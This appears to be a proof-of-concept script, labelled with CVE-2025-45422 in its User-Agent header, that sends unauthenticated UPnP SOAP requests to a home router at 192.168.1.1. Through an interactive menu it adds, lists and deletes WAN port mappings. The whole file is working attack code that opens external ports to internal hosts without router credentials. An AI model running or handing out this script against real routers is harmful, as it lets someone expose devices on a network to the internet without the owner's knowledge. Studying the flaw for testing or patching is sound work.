README.md
Rendering markdown...
import pycurl
from io import BytesIO
import io
import xml.etree.ElementTree as ET
ns = {
's': 'http://schemas.xmlsoap.org/soap/envelope/',
'u': 'urn:schemas-upnp-org:service:WANPPPConnection:1'
}
def add_upnp_port_mapping(localIP, description, externalPort, internalPort, protocol, lease, ports_to_try):
if not ports_to_try:
print("Error: Could not add port mapping. All attempts failed.")
return
port = ports_to_try[0]
url = f"http://192.168.1.1:{port}/upnp/control/WANPPPConn0"
print("Trying URL:", url)
if protocol.lower() == "t":
proto = "TCP"
else:
proto = "UDP"
body = f"""<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewRemoteHost></NewRemoteHost>
<NewExternalPort>{externalPort}</NewExternalPort>
<NewProtocol>{proto}</NewProtocol>
<NewInternalPort>{internalPort}</NewInternalPort>
<NewInternalClient>{localIP}</NewInternalClient>
<NewEnabled>1</NewEnabled>
<NewPortMappingDescription>{description}</NewPortMappingDescription>
<NewLeaseDuration>{lease}</NewLeaseDuration>
</u:AddPortMapping>
</s:Body>
</s:Envelope>"""
buffer = BytesIO()
c = pycurl.Curl()
c.setopt(pycurl.URL, url)
c.setopt(pycurl.POST, 1)
c.setopt(pycurl.POSTFIELDS, body)
c.setopt(pycurl.HTTPHEADER, [
"User-Agent: CVE-2025-45422",
"Content-Type: text/xml; charset=\"utf-8\"",
"SOAPAction: \"urn:schemas-upnp-org:service:WANPPPConnection:1#AddPortMapping\"",
"Connection: close",
"Cache-Control: no-cache"
])
c.setopt(pycurl.WRITEFUNCTION, buffer.write)
try:
c.perform()
response_code = c.getinfo(pycurl.RESPONSE_CODE)
if response_code == 200 or response_code == 404:
print(":---------------------------------:")
print(" PORT MAPPING ADDED SUCCESSFULLY")
print(":---------------------------------:")
else:
print(f"Error: {response_code}, trying next port")
add_upnp_port_mapping(localIP, description, externalPort, internalPort, protocol, lease, ports_to_try[1:]) # if first port failed, try the next one
except pycurl.error as e:
print(f"Request failed: {e}, trying next port")
add_upnp_port_mapping(localIP, description, externalPort, internalPort, protocol, lease, ports_to_try[1:])
finally:
c.close()
def get_port_mapping(index, base_port=49152): # change this to 49153 if it doesn't work
buffer = io.BytesIO()
c = pycurl.Curl()
url = f"http://192.168.1.1:{base_port}/upnp/control/WANPPPConn0"
c.setopt(c.URL, url)
c.setopt(c.POST, 1)
c.setopt(c.SSL_VERIFYPEER, 0)
c.setopt(c.SSL_VERIFYHOST, 0)
headers = [
'Content-Type: text/xml; charset="utf-8"',
'SOAPAction: "urn:schemas-upnp-org:service:WANPPPConnection:1#GetGenericPortMappingEntry"',
]
c.setopt(c.HTTPHEADER, headers)
data = f'''<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:GetGenericPortMappingEntry xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewPortMappingIndex>{index}</NewPortMappingIndex>
</u:GetGenericPortMappingEntry>
</s:Body>
</s:Envelope>'''
c.setopt(c.POSTFIELDS, data)
c.setopt(c.WRITEDATA, buffer)
try:
c.perform()
body = buffer.getvalue()
root = ET.fromstring(body)
response = root.find('.//u:GetGenericPortMappingEntryResponse', ns)
if response is None:
return None
values = {
child.tag.split('}', 1)[-1] if '}' in child.tag else child.tag: child.text
for child in response
}
return values
except:
return None
finally:
c.close()
def delete_port_mapping(external_port, protocol, base_port=49152):
buffer = io.BytesIO()
c = pycurl.Curl()
url = f"http://192.168.1.1:{base_port}/upnp/control/WANPPPConn0"
c.setopt(c.URL, url)
c.setopt(c.POST, 1)
c.setopt(c.SSL_VERIFYPEER, 0)
c.setopt(c.SSL_VERIFYHOST, 0)
headers = [
'Content-Type: text/xml; charset="utf-8"',
'SOAPAction: "urn:schemas-upnp-org:service:WANPPPConnection:1#DeletePortMapping"',
]
c.setopt(c.HTTPHEADER, headers)
data = f'''<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:DeletePortMapping xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewExternalPort>{external_port}</NewExternalPort>
<NewProtocol>{protocol}</NewProtocol>
</u:DeletePortMapping>
</s:Body>
</s:Envelope>'''
c.setopt(c.POSTFIELDS, data)
c.setopt(c.WRITEDATA, buffer)
try:
c.perform()
return True
except:
return False
finally:
c.close()
if __name__ == "__main__":
ports_to_try = [49152, 49153] + list(range(49150, 49160)) # make sure 49152 and 49153 are tried first
ports_to_try = list(dict.fromkeys(ports_to_try)) # remove duplicates
number = input("[1] Add a PortMapping\n[2] List PortMappings + option to delete one\n'1' or '2': ")
number = int(number) if number.isdigit() else 0
if number == 0:
print("Faulty number given. Quitting...")
quit()
elif number == 1:
print("ADD PORT MAPPING SELECTED")
localIP = input("Local IP: ")
externalPort = input("External port to open: ")
internalPort = input("Internal port to map to: ")
description = input("Description: ")
protocol = input("Protocol (t or u): ")
lease = input("Do you want a removal time (seconds), default is no: ")
lease = int(lease) if lease.isdigit() else 0
add_upnp_port_mapping(localIP, description, int(externalPort), int(internalPort), protocol, lease, ports_to_try)
elif number == 2:
default_limit = 70
try:
limit = int(input(f"Scan the first ... port mappings (default {default_limit}): ") or default_limit)
except ValueError:
limit = default_limit
def try_list_with_base_port(base_port):
found_mappings = []
empty_count = 0
max_empty = 5 # stop after 5 consecutive empty entries
for i in range(limit + 1):
mapping = get_port_mapping(i, base_port)
if mapping:
found_mappings.append(mapping)
empty_count = 0
print(f"[{i}] ExternalPort:{mapping['NewExternalPort']} -> {mapping['NewInternalClient']}:{mapping['NewInternalPort']} ({mapping['NewProtocol']})| Description:{mapping['NewPortMappingDescription']} | LeaseDuration:{mapping['NewLeaseDuration']} | Enabled:{mapping['NewEnabled']}")
else:
empty_count += 1
if empty_count >= max_empty:
# stop scanning if several consecutive empty slots are found
break
return found_mappings
# try base port 49152 first
found_mappings = try_list_with_base_port(49152)
# fallback to 49153 if nothing found
if not found_mappings:
print("No port mappings found with base port 49152, trying 49153...")
found_mappings = try_list_with_base_port(49153)
if not found_mappings:
print("No port mappings found with base port 49153 either. Exiting.")
quit()
while True:
user_input = input("Enter ID to delete, 'r' to relist, or 'q' to quit: ")
if user_input == 'q':
break
if user_input == 'r':
found_mappings = try_list_with_base_port(49152)
if not found_mappings:
print("No port mappings found with base port 49152, trying 49153 ...")
found_mappings = try_list_with_base_port(49153)
if not found_mappings:
print("No port mappings found with base port 49153 either.")
continue
continue
if user_input not in ('q', 'r') and not user_input.isdigit():
print("Please fill in a number, or 'q' or 'r'")
continue
index = int(user_input)
if index < 0 or index >= len(found_mappings): # Check whether number is in bounds of found_mappings
print("Number out of bounds.")
continue
print(f"--------------------------------------------------------------------------------------------------------------\nSelected:[{index}] - ExternalPort:{found_mappings[index]['NewExternalPort']} -> {found_mappings[index]['NewInternalClient']}:{found_mappings[index]['NewInternalPort']} ({found_mappings[index]['NewProtocol']}) | Description:{found_mappings[index]['NewPortMappingDescription']} | LeaseDuration:{found_mappings[index]['NewLeaseDuration']} | Enabled:{found_mappings[index]['NewEnabled']}\n--------------------------------------------------------------------------------------------------------------")
confirmation = input("Confirmation, do you want to delete the rule: y or n:").strip().lower()
if confirmation == "y":
# Try delete on both ports to be sure
success = delete_port_mapping(found_mappings[index]['NewExternalPort'], found_mappings[index]['NewProtocol'], 49152) or delete_port_mapping(found_mappings[index]['NewExternalPort'], found_mappings[index]['NewProtocol'], 49153)
if success:
print(f"Deleted port mapping {found_mappings[index]['NewProtocol']} {found_mappings[index]['NewExternalPort']}")
else:
print("Failed to delete port mapping.")
else:
print("UPnP rule not deleted")
else:
print("Please input one of the given numbers.")
quit()